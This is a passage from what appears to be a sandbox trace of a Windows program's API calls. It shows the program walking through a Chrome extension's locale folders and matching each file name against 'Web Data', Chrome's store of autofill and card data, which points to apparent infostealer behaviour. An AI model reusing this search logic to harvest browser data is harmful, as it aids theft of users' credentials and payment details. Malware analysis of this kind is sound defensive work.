lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.509] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.509] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.509] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.509] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.509] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.509] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.509] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.509] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.510] LocalFree (hMem=0x6525c0) returned 0x0 [0078.510] LocalFree (hMem=0x6524b8) returned 0x0 [0078.510] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.510] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0078.510] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0078.510] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.510] lstrlenA (lpString="\\") returned 1 [0078.510] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.510] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.510] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.510] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.510] lstrlenA (lpString="id") returned 2 [0078.510] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.510] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.510] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0078.510] LocalFree (hMem=0x6523b0) returned 0x0 [0078.510] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 124 [0078.510] lstrlenA (lpString="\\*.*") returned 4 [0078.510] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.510] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0078.510] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*" [0078.510] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.510] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.510] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.510] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.510] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.510] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.510] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.510] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.510] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.511] LocalFree (hMem=0x6525c0) returned 0x0 [0078.511] LocalFree (hMem=0x6524b8) returned 0x0 [0078.511] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.511] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0078.511] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0078.511] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.511] lstrlenA (lpString="\\") returned 1 [0078.511] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.511] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.511] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.511] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.511] lstrlenA (lpString="it") returned 2 [0078.511] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.511] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.511] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0078.511] LocalFree (hMem=0x6523b0) returned 0x0 [0078.511] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 124 [0078.511] lstrlenA (lpString="\\*.*") returned 4 [0078.511] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.511] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0078.511] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*" [0078.511] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.512] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.512] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.512] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.512] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.512] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.512] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.512] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.512] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.512] LocalFree (hMem=0x6525c0) returned 0x0 [0078.512] LocalFree (hMem=0x6524b8) returned 0x0 [0078.512] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.512] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0078.512] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0078.512] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.512] lstrlenA (lpString="\\") returned 1 [0078.512] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.512] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.512] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.512] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.512] lstrlenA (lpString="ja") returned 2 [0078.512] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.512] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.512] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0078.512] LocalFree (hMem=0x6523b0) returned 0x0 [0078.512] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 124 [0078.512] lstrlenA (lpString="\\*.*") returned 4 [0078.512] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.512] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0078.512] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*" [0078.512] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.513] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.513] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.513] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.513] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.513] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.513] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.513] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.513] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.513] LocalFree (hMem=0x6525c0) returned 0x0 [0078.513] LocalFree (hMem=0x6524b8) returned 0x0 [0078.513] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.513] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0078.513] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0078.513] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.513] lstrlenA (lpString="\\") returned 1 [0078.513] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.513] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.513] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.513] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.513] lstrlenA (lpString="ko") returned 2 [0078.513] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.513] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.513] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0078.513] LocalFree (hMem=0x6523b0) returned 0x0 [0078.513] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 124 [0078.513] lstrlenA (lpString="\\*.*") returned 4 [0078.513] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.513] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0078.513] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*" [0078.513] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.514] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.514] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.514] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.514] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.514] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.514] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.514] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.514] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.514] LocalFree (hMem=0x6525c0) returned 0x0 [0078.514] LocalFree (hMem=0x6524b8) returned 0x0 [0078.514] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.514] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0078.514] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0078.514] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.514] lstrlenA (lpString="\\") returned 1 [0078.515] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.515] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.515] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.515] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.515] lstrlenA (lpString="lt") returned 2 [0078.515] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.515] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.515] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0078.515] LocalFree (hMem=0x6523b0) 